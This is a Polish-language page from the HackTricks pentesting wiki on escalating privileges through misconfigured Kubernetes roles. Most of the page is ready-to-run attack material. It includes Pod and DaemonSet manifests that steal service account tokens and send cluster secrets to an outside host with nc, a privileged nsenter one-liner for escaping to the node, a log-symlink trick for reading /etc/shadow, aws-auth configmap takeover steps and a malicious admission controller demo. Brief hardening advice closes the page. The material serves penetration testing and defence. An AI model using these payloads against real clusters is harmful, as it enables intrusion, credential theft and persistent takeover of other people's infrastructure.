Abusing Roles/ClusterRoles in Kubernetes

Wesprzyj HackTricks

Tutaj znajdziesz kilka potencjalnie niebezpiecznych konfiguracji ról i ClusterRoles. Pamiętaj, że możesz uzyskać dostęp do wszystkich obsługiwanych zasobów za pomocą kubectl api-resources

Eskalacja uprawnień

Mówiąc o sztuce uzyskiwania dostępu do innego podmiotu w klastrze z innymi uprawnieniami (wewnątrz klastra Kubernetes lub do zewnętrznych chmur), w Kubernetes istnieją głównie 4 podstawowe techniki eskalacji uprawnień:

  • Być w stanie podawać się za inne użytkownika/grupy/SA z lepszymi uprawnieniami wewnątrz klastra Kubernetes lub do zewnętrznych chmur

  • Być w stanie tworzyć/aktualizować/wykonująć pody, gdzie można znaleźć lub dołączyć SA z lepszymi uprawnieniami wewnątrz klastra Kubernetes lub do zewnętrznych chmur

  • Być w stanie czytać sekrety, ponieważ tokeny SA są przechowywane jako sekrety

  • Być w stanie uciec do węzła z kontenera, gdzie można ukraść wszystkie sekrety kontenerów działających na węźle, poświadczenia węzła i uprawnienia węzła w chmurze, w której działa (jeśli istnieją)

  • Piąta technika, która zasługuje na uwagę, to możliwość uruchomienia port-forward w podzie, ponieważ możesz uzyskać dostęp do interesujących zasobów wewnątrz tego poda.

Dostęp do Dowolnego Zasobu lub Czasownika (Znak wieloznaczny)

Znak wieloznaczny (*) nadaje uprawnienia do dowolnego zasobu z dowolnym czasownikiem. Jest używany przez administratorów. Wewnątrz ClusterRole oznacza to, że atakujący mógłby nadużyć dowolnego namespace w klastrze

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]

Uzyskiwanie dostępu do dowolnego zasobu za pomocą określonego czasownika

W RBAC pewne uprawnienia niosą ze sobą znaczne ryzyko:

  1. create: Udziela możliwości tworzenia dowolnego zasobu klastra, zwiększając ryzyko eskalacji uprawnień.

  2. list: Pozwala na wyświetlanie wszystkich zasobów, potencjalnie ujawniając poufne dane.

  3. get: Umożliwia dostęp do tajemnic z kont usług, stanowiąc zagrożenie dla bezpieczeństwa.

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["create", "list", "get"]

Tworzenie Pod - Kradzież Tokena

Atakujący posiadający uprawnienia do tworzenia poda, mógłby dołączyć uprzywilejowane konto usługi do poda i ukraść token, aby podszywać się pod to konto usługi. Efektywnie eskalując uprawnienia do niego.

Przykład poda, który ukradnie token konta usługi bootstrap-signer i wyśle go do atakującego:

apiVersion: v1
kind: Pod
metadata:
name: alpine
namespace: kube-system
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true

Tworzenie i Ucieczka z Podu

Poniższe wskazuje wszystkie uprawnienia, jakie może mieć kontener:

  • Dostęp uprzywilejowany (wyłączenie zabezpieczeń i ustawienie możliwości)

  • Wyłączenie przestrzeni nazw hostIPC i hostPid, które mogą pomóc w eskalacji uprawnień

  • Wyłączenie przestrzeni nazw hostNetwork, umożliwiające dostęp do kradzieży uprawnień chmury węzłów i lepszy dostęp do sieci

  • Zamontowanie hostów / wewnątrz kontenera

super_privs.yaml
apiVersion: v1
kind: Pod
metadata:
name: ubuntu
labels:
app: ubuntu
spec:
# Uncomment and specify a specific node you want to debug
# nodeName: <insert-node-name-here>
containers:
- image: ubuntu
command:
- "sleep"
- "3600" # adjust this as needed -- use only as long as you need
imagePullPolicy: IfNotPresent
name: ubuntu
securityContext:
allowPrivilegeEscalation: true
privileged: true
#capabilities:
#  add: ["NET_ADMIN", "SYS_ADMIN"] # add the capabilities you need https://man7.org/linux/man-pages/man7/capabilities.7.html
runAsUser: 0 # run as root (or any other user)
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never # we want to be intentional about running this pod
hostIPC: true # Use the host's ipc namespace https://www.man7.org/linux/man-pages/man7/ipc_namespaces.7.html
hostNetwork: true # Use the host's network namespace https://www.man7.org/linux/man-pages/man7/network_namespaces.7.html
hostPID: true # Use the host's pid namespace https://man7.org/linux/man-pages/man7/pid_namespaces.7.htmlpe_
volumes:
- name: host-volume
hostPath:
path: /

Utwórz pod z:

kubectl --token $token create -f mount_root.yaml

Jednozdaniowy z tego tweeta i z kilkoma dodatkami:

kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'

Teraz, gdy możesz uciec do węzła, sprawdź techniki post-eksploatacji w:

Ukrycie

Prawdopodobnie chcesz być bardziej skryty, na następnych stronach możesz zobaczyć, do czego mógłbyś uzyskać dostęp, tworząc pod tylko aktywując niektóre z wymienionych uprawnień w poprzednim szablonie:

  • Uprawnienia + hostPID

  • Tylko uprawnienia

  • hostPath

  • hostPID

  • hostNetwork

  • hostIPC

Przykłady tworzenia/misowania poprzednich konfiguracji uprzywilejowanych podów można znaleźć w https://github.com/BishopFox/badPods

Tworzenie Poda - Przenieś się do chmury

Jeśli możesz utworzyć pod (i opcjonalnie konto usługi), możesz być w stanie uzyskać uprawnienia w środowisku chmurowym, przypisując role chmurowe do poda lub konta usługi, a następnie uzyskując do niego dostęp. Co więcej, jeśli możesz utworzyć pod z przestrzenią nazw sieci hosta, możesz ukraść rolę IAM instancji węzła.

Aby uzyskać więcej informacji, sprawdź:

Pod Escape Privileges

Utwórz/Zmień wdrożenie, Demonsety, Statefulsety, Kontrolery replikacji, Zbiory replikacji, Zadania i Zadania cykliczne

Możliwe jest nadużycie tych uprawnień do utworzenia nowego poda i uzyskania uprawnień, jak w poprzednim przykładzie.

Poniższy plik yaml tworzy demonset i wycieka token SA wewnątrz poda:

apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: kube-system
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
volumeMounts:
- mountPath: /root
name: mount-node-root
volumes:
- name: mount-node-root
hostPath:
path: /

Wykonanie Poda

pods/exec to zasób w kubernetes używany do wykonywania poleceń w powłoce wewnątrz poda. Pozwala to wykonywać polecenia wewnątrz kontenerów lub uzyskać dostęp do powłoki.

Dlatego możliwe jest wejście do poda i kradzież tokenu SA, lub wejście do uprzywilejowanego poda, ucieczka do węzła i kradzież wszystkich tokenów podów w węźle oraz (wy)korzystanie węzła:

kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh

port-forward

To uprawnienie pozwala na przekierowanie jednego lokalnego portu do jednego portu w określonym podzie. Ma to ułatwić debugowanie aplikacji działających wewnątrz poda, ale atakujący może nadużyć go, aby uzyskać dostęp do interesujących (jak bazy danych) lub podatnych aplikacji (strony internetowe?) wewnątrz poda:

kubectl port-forward pod/mypod 5000:5000

Hosts Writable /var/log/ Escape

Zgodnie z tym badaniem, jeśli masz dostęp lub możesz utworzyć pod z zamontowanym katalogiem /var/log/ hostów, możesz uciec z kontenera. Dzieje się tak, ponieważ gdy Kube-API próbuje pobrać logi kontenera (używając kubectl logs <pod>), żąda pliku 0.log poda za pomocą punktu końcowego /logs/ usługi Kubelet. Usługa Kubelet eksponuje punkt końcowy /logs/, który w zasadzie eksponuje system plików /var/log kontenera.

Dlatego atakujący mający dostęp do zapisu w katalogu /var/log/ kontenera mógłby nadużyć tych zachowań na 2 sposoby:

  • Modyfikując plik 0.log swojego kontenera (zazwyczaj znajdujący się w /var/logs/pods/namespace_pod_uid/container/0.log) tak, aby był symlinkiem wskazującym na /etc/shadow na przykład. Następnie będziesz mógł wydobyć plik shadow hostów wykonując:

kubectl logs escaper
failed to get parse function: unsupported log format: "root::::::::\n"
kubectl logs escaper --tail=2
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
# Keep incrementing tail to exfiltrate the whole file
  • Jeśli atakujący kontroluje jakiegokolwiek podmiot z uprawnieniami do odczytu nodes/log, może po prostu utworzyć symlink w /host-mounted/var/log/sym do / i podczas dostępu do https://<gateway>:10250/logs/sym/ wyświetli system plików główny hosta (zmiana symlinka może umożliwić dostęp do plików).

curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
<a href="bin">bin</a>
<a href="data/">data/</a>
<a href="dev/">dev/</a>
<a href="etc/">etc/</a>
<a href="home/">home/</a>
<a href="init">init</a>
<a href="lib">lib</a>
[...]

Laboratorium i zautomatyzowany exploit można znaleźć pod adresem https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts

Ominięcie ochrony readOnly

Jeśli masz szczęście i bardzo uprzywilejowana zdolność CAP_SYS_ADMIN jest dostępna, możesz po prostu ponownie zamontować folder jako rw:

mount -o rw,remount /hostlogs/

Ominięcie ochrony hostPath readOnly

Jak stwierdzono w tej analizie, możliwe jest ominięcie ochrony:

allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true

Który miał zapobiec ucieczkom takim jak poprzednie, zamiast używać montowania hostPath, używa PersistentVolume i PersistentVolumeClaim do zamontowania folderu hostów w kontenerze z dostępem do zapisu:

apiVersion: v1
kind: PersistentVolume
metadata:
name: task-pv-volume-vol
labels:
type: local
spec:
storageClassName: manual
capacity:
storage: 10Gi
accessModes:
- ReadWriteOnce
hostPath:
path: "/var/log"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: task-pv-claim-vol
spec:
storageClassName: manual
accessModes:
- ReadWriteOnce
resources:
requests:
storage: 3Gi
---
apiVersion: v1
kind: Pod
metadata:
name: task-pv-pod
spec:
volumes:
- name: task-pv-storage-vol
persistentVolumeClaim:
claimName: task-pv-claim-vol
containers:
- name: task-pv-container
image: ubuntu:latest
command: [ "sh", "-c", "sleep 1h" ]
volumeMounts:
- mountPath: "/hostlogs"
name: task-pv-storage-vol

Podszywanie się pod uprzywilejowane konta

Z uprawnieniami podszycia się pod użytkownika, atakujący może podszyć się pod uprzywilejowane konto.

Wystarczy użyć parametru --as=<nazwa_użytkownika> w poleceniu kubectl, aby podszyć się pod użytkownika, lub --as-group=<grupa> aby podszyć się pod grupę:

kubectl get pods --as=system:serviceaccount:kube-system:default
kubectl get secrets --as=null --as-group=system:masters

Albo użyj interfejsu REST API:

curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\
-H "Impersonate-User: null" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Wyświetlanie sekretów

Uprawnienie do wyświetlania sekretów może umożliwić atakującemu faktyczne odczytanie sekretów poprzez dostęp do punktu końcowego interfejsu API REST:

curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Odczytywanie tajemnicy – próba zgadywania identyfikatorów tokenów

Podczas gdy atakujący posiadający token z uprawnieniami do odczytu wymaga dokładnej nazwy tajemnicy, aby go użyć, w przeciwieństwie do szerszego uprawnienia listowania tajemnic, istnieją nadal podatności. Domyślne konta usług w systemie mogą być wyliczone, każde związane z tajemnicą. Te tajemnice mają strukturę nazwy: statyczny prefiks, a następnie losowy pięciocyfrowy alfanumeryczny token (z wyłączeniem pewnych znaków) zgodnie z kodem źródłowym.

Token jest generowany z ograniczonego zestawu 27 znaków (bcdfghjklmnpqrstvwxz2456789), zamiast pełnego zakresu alfanumerycznego. To ograniczenie zmniejsza łączną liczbę możliwych kombinacji do 14 348 907 (27^5). W rezultacie atakujący mógłby wykonać atak brute-force w celu wydedukowania tokenu w ciągu kilku godzin, co potencjalnie prowadziłoby do eskalacji uprawnień poprzez uzyskanie dostępu do poufnych kont usług.

Wnioski o podpisywaniu certyfikatów

Jeśli masz czasowniki create w zasobie certificatesigningrequests (lub przynajmniej w certificatesigningrequests/nodeClient). Możesz utworzyć nowy CeSR dla nowego węzła.

Zgodnie z dokumentacją możliwe jest automatyczne zatwierdzanie tych wniosków, więc w tym przypadku nie potrzebujesz dodatkowych uprawnień. W przeciwnym razie musiałbyś móc zatwierdzić wniosek, co oznacza aktualizację w certificatesigningrequests/approval i approve w signers z resourceName <signerNameDomain>/<signerNamePath> lub <signerNameDomain>/*

Przykład roli z wszystkimi wymaganymi uprawnieniami to:

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: csr-approver
rules:
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests
verbs:
- get
- list
- watch
- create
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests/approval
verbs:
- update
- apiGroups:
- certificates.k8s.io
resources:
- signers
resourceNames:
- example.com/my-signer-name # example.com/* can be used to authorize for all signers in the 'example.com' domain
verbs:
- approve

Więc, po zatwierdzeniu nowego CSR węzła, możesz nadużyć specjalnych uprawnień węzłów, aby ukraść sekrety i eskalować uprawnienia.

W tym poście i tym konfiguracja GKE K8s TLS Bootstrap jest skonfigurowana z automatycznym podpisywaniem i jest nadużywana do generowania poświadczeń nowego węzła K8s, a następnie nadużywana do eskalacji uprawnień poprzez kradzież sekretów. Jeśli masz wspomniane uprawnienia, możesz zrobić to samo. Zauważ, że pierwszy przykład omija błąd uniemożliwiający nowemu węzłowi dostęp do sekretów wewnątrz kontenerów, ponieważ węzeł może uzyskać dostęp tylko do sekretów kontenerów zamontowanych na nim.

Sposób obejścia tego polega po prostu na utworzeniu poświadczeń węzła dla nazwy węzła, na którym zamontowany jest kontener z interesującymi sekretami (ale sprawdź, jak to zrobić w pierwszym poście):

"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"

AWS EKS aws-auth configmaps

Podmioty, które mogą modyfikować configmaps w przestrzeni nazw kube-system na klastrach EKS (muszą być w AWS), mogą uzyskać uprawnienia administratora klastra, nadpisując configmapę aws-auth. Potrzebne są czasowniki update i patch, lub create jeśli configmapa nie została jeszcze utworzona:

# Check if config map exists
get configmap aws-auth -n kube-system -o yaml

## Yaml example
apiVersion: v1
kind: ConfigMap
metadata:
name: aws-auth
namespace: kube-system
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node:{{EC2PrivateDNSName}}
groups:
- system:masters

# Create donfig map is doesn't exist
## Using kubectl and the previous yaml
kubectl apply -f /tmp/aws-auth.yaml
## Using eksctl
eksctl create iamidentitymapping --cluster Testing --region us-east-1 --arn arn:aws:iam::123456789098:role/SomeRoleTestName --group "system:masters" --no-duplicate-arns

# Modify it
kubectl edit -n kube-system configmap/aws-auth
## You can modify it to even give access to users from other accounts
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node:{{EC2PrivateDNSName}}
groups:
- system:masters
mapUsers: |
- userarn: arn:aws:iam::098765432123:user/SomeUserTestName
username: admin
groups:
- system:masters

Możesz użyć aws-auth dla trwałości umożliwiając dostęp użytkownikom z innych kont.

Jednak aws --profile other_account eks update-kubeconfig --name <cluster-name> nie działa z innego konta. Ale faktycznie aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing działa, jeśli podasz ARN klastra zamiast samej nazwy. Aby kubectl działał, upewnij się, że skonfigurowano kubeconfig ofiary i w argumentach exec aws dodaj --profile other_account_role, aby kubectl używał profilu innego konta do uzyskania tokena i kontaktowania się z AWS.

Eskalacja w GKE

Istnieją 2 sposoby przypisywania uprawnień K8s do podmiotów GCP. W każdym przypadku podmiot musi również mieć uprawnienie container.clusters.get, aby móc zbierać poświadczenia dostępu do klastra, lub będziesz musiał wygenerować własny plik konfiguracyjny kubectl (postępuj zgodnie z następnym odnośnikiem).

Podczas rozmowy z punktem końcowym interfejsu API K8s, zostanie wysłany token uwierzytelniający GCP. Następnie GCP, poprzez punkt końcowy interfejsu API K8s, najpierw sprawdzi, czy podmiot (za pomocą adresu e-mail) ma jakikolwiek dostęp wewnątrz klastra, a następnie sprawdzi, czy ma jakikolwiek dostęp za pośrednictwem GCP IAM. Jeśli którekolwiek z nich jest prawdziwe, zostanie udzielona odpowiedź. Jeśli nie, zostanie podana informacja o błędzie, sugerująca udzielenie uprawnień za pośrednictwem GCP IAM.

Następnie, pierwsza metoda polega na użyciu GCP IAM, uprawnienia K8s mają swoje odpowiednie uprawnienia GCP IAM, i jeśli podmiot je posiada, będzie mógł ich użyć.

GCP - Container Privesc

Drugi sposób polega na przypisaniu uprawnień K8s wewnątrz klastra do identyfikacji użytkownika za pomocą jego adresu e-mail (w tym konta usług GCP).

Utwórz tokeny kont usługowych

Podmioty, które mogą tworzyć żądania tokenów (serviceaccounts/token) Podczas rozmowy z punktem końcowym interfejsu API K8s SAs (informacje z tutaj).

ephemeralcontainers

Podmioty, które mogą aktualizować lub poprawiać pods/ephemeralcontainers mogą uzyskać wykonanie kodu na innych podach, a potencjalnie wydostać się do ich węzła, dodając kontener tymczasowy z uprzywilejowanym securityContext

ValidatingWebhookConfigurations lub MutatingWebhookConfigurations

Podmioty z dowolnymi czasownikami create, update lub patch nad validatingwebhookconfigurations lub mutatingwebhookconfigurations mogą być w stanie utworzyć jedną z takich webhookconfigurations, aby móc eskalować uprawnienia.

Dla przykładu mutatingwebhookconfigurations sprawdź tę sekcję tego posta.

Eskalacja

Jak można przeczytać w następnej sekcji: Zapobieganie wbudowanej eskalacji uprawnień, podmiot nie może aktualizować ani tworzyć ról ani clusterroles bez posiadania tych nowych uprawnień. O ile nie ma czasownika escalate nad roles lub clusterroles. Wtedy może aktualizować/tworzyć nowe role, clusterroles z lepszymi uprawnieniami niż te, które posiada.

Proxy węzłów

Podmioty mające dostęp do podzasobu nodes/proxy mogą wykonywać kod na podach za pośrednictwem interfejsu API Kubelet (zgodnie z tym). Więcej informacji na temat uwierzytelniania Kubelet znajdziesz na tej stronie:

Kubelet Authentication & Authorization

Masz przykład, jak uzyskać RCE rozmawiając z autoryzowanym interfejsem API Kubelet tutaj.

Usuwanie podów + węzły nieskalowalne

Podmioty, które mogą usuwać podsy (delete czasownik nad zasobem pods), lub wymuszać usunięcie podów (create czasownik nad zasobem pods/eviction), lub zmieniać status poda (dostęp do pods/status) i mogą sprawić, że inne węzły staną się nieskalowalne (dostęp do nodes/status) lub usuwać węzły (delete czasownik nad zasobem nodes) i mają kontrolę nad podem, mogą ukraść pody z innych węzłów, aby były wykonywane w skompromitowanym węźle, a atakujący może ukraść tokeny z tych podów.

patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
}

while true; do patch_node_capacity <id_other_node>; done &
#Launch previous line with all the nodes you need to attack

kubectl delete pods -n kube-system <privileged_pod_name>

Status usług (CVE-2020-8554)

Podmioty, które mogą modyfikować services/status, mogą ustawić pole status.loadBalancer.ingress.ip w celu wykorzystania niezałatanej luki CVE-2020-8554 i uruchomienia ataków MiTM na klaster. Większość zabezpieczeń przed CVE-2020-8554 zapobiega tylko usługom ExternalIP (zgodnie z tym).

Status węzłów i modułów

Podmioty posiadające uprawnienia update lub patch do nodes/status lub pods/status mogą modyfikować etykiety w celu wpływania na narzucone ograniczenia planowania.

Wbudowane zapobieganie eskalacji uprawnień

Kubernetes posiada wbudowany mechanizm zapobiegający eskalacji uprawnień.

Ten system zapewnia, że użytkownicy nie mogą podnosić swoich uprawnień poprzez modyfikowanie ról lub powiązań ról. Egzekwowanie tej reguły odbywa się na poziomie interfejsu API, zapewniając zabezpieczenie nawet wtedy, gdy autoryzator RBAC jest nieaktywny.

Reguła ta określa, że użytkownik może tworzyć lub aktualizować rolę tylko wtedy, gdy posiada wszystkie uprawnienia, z których składa się rola. Ponadto zakres istniejących uprawnień użytkownika musi być zgodny z rolą, którą próbuje utworzyć lub zmodyfikować: albo ogólnoklastrowy dla ClusterRoles, albo ograniczony do tej samej przestrzeni nazw (lub ogólnoklastrowy) dla Roles.

Istnieje wyjątek od poprzedniej reguły. Jeśli podmiot ma czasownik escalate nad roles lub clusterroles, może zwiększyć uprawnienia ról i clusterroles nawet bez posiadania odpowiednich uprawnień.

Pobierz i zmodyfikuj RoleBindings/ClusterRoleBindings

Wygląda na to, że ta technika działała wcześniej, ale według moich testów już nie działa z tego samego powodu, co wyjaśniono w poprzednim rozdziale. Nie możesz tworzyć/modyfikować rolebindingów, aby nadać sobie lub innemu SA pewne uprawnienia, jeśli ich nie masz.

Uprawnienie do tworzenia Rolebindings pozwala użytkownikowi powiązać role z kontem usługi. To uprawnienie może potencjalnie prowadzić do eskalacji uprawnień, ponieważ pozwala użytkownikowi powiązać uprawnienia administratora z skompromitowanym kontem usługi.

Inne ataki

Aplikacja proxy Sidecar

Domyślnie nie ma szyfrowania w komunikacji między modułami. Autoryzacja wzajemna, dwukierunkowa, moduł do modułu.

Utwórz aplikację proxy Sidecar

Utwórz swój plik .yaml

kubectl run app --image=bash --command -oyaml --dry-run=client > <appName.yaml> -- sh -c 'ping google.com'

Edytuj swój plik .yaml i dodaj odkomentowane linie:

#apiVersion: v1
#kind: Pod
#metadata:
#  name: security-context-demo
#spec:
#  securityContext:
#    runAsUser: 1000
#    runAsGroup: 3000
#    fsGroup: 2000
#  volumes:
#  - name: sec-ctx-vol
#    emptyDir: {}
#  containers:
#  - name: sec-ctx-demo
#    image: busybox
command: [ "sh", "-c", "apt update && apt install iptables -y && iptables -L && sleep 1h" ]
securityContext:
capabilities:
add: ["NET_ADMIN"]
#   volumeMounts:
#   - name: sec-ctx-vol
#     mountPath: /data/demo
#   securityContext:
#     allowPrivilegeEscalation: true

Zobacz logi proxy:

kubectl logs app -C proxy

Więcej informacji pod adresem: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/

Złośliwy kontroler przyjęć

Kontroler przyjęć przechwytuje żądania do serwera API Kubernetesa przed trwałością obiektu, ale po uwierzytelnieniu i autoryzacji żądania.

Jeśli atakujący w jakiś sposób zdoła wstrzyknąć kontroler przyjęć mutacji, będzie mógł modyfikować już uwierzytelnione żądania. Pozwala to potencjalnie na eskalację uprawnień oraz zazwyczaj na trwałe pozostanie w klastrze.

Przykład z https://blog.rewanthtammana.com/creating-malicious-admission-controllers:

git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
cd malicious-admission-controller-webhook-demo
./deploy.sh
kubectl get po -n webhook-demo -w

Sprawdź status, aby zobaczyć, czy jest gotowy:

kubectl get mutatingwebhookconfigurations
kubectl get deploy,svc -n webhook-demo
mutating-webhook-status-check.PNG

Następnie wdroż nową kapsułkę:

kubectl run nginx --image nginx
kubectl get po -w

Kiedy widzisz błąd ErrImagePull, sprawdź nazwę obrazu za pomocą jednego z poniższych zapytań:

kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
kubectl describe po nginx | grep "Image: "
malicious-admission-controller.PNG

Jak widać na powyższym obrazie, próbowaliśmy uruchomić obraz nginx, ale ostatecznie uruchomiony został obraz rewanthtammana/malicious-image. Co właśnie się stało!!?

Techniczności

patches = append(patches, patchOperation{
Op:    "replace",
Path:  "/spec/containers/0/image",
Value: "rewanthtammana/malicious-image",
})

Nadużycie ról i ClusterRoles w Kubernetes

Powyższy fragment zastępuje pierwszy obraz kontenera we wszystkich podach przez rewanthtammana/malicious-image.

Ominięcie OPA Gatekeeper

Kubernetes - OPA Gatekeeper bypass

Najlepsze praktyki

Wyłączenie automatycznego montowania tokenów konta usługi

  • Pody i konta usług: Domyślnie pody montują token konta usługi. Aby zwiększyć bezpieczeństwo, Kubernetes pozwala na wyłączenie tej funkcji automatycznego montowania.

  • Jak zastosować: Ustaw automountServiceAccountToken: false w konfiguracji kont usług lub podów zaczynając od wersji Kubernetes 1.6.

Ograniczenie przypisania użytkownika w RoleBindings/ClusterRoleBindings

  • Wybiórcze uwzględnianie: Upewnij się, że do RoleBindings lub ClusterRoleBindings są uwzględnieni tylko niezbędni użytkownicy. Regularnie przeprowadzaj audyty i usuwaj nieistotnych użytkowników, aby utrzymać wysokie bezpieczeństwo.

Role specyficzne dla przestrzeni nazw zamiast roli na poziomie klastra

  • Role vs. ClusterRoles: Preferuj użycie Roli i RoleBindings do nadawania uprawnień specyficznych dla przestrzeni nazw, zamiast ClusterRoles i ClusterRoleBindings, które mają zastosowanie do całego klastra. Ten podejście oferuje bardziej precyzyjną kontrolę i ogranicza zakres uprawnień.

Użyj narzędzi automatyzujących

Referencje

Wesprzyj HackTricks

Last updated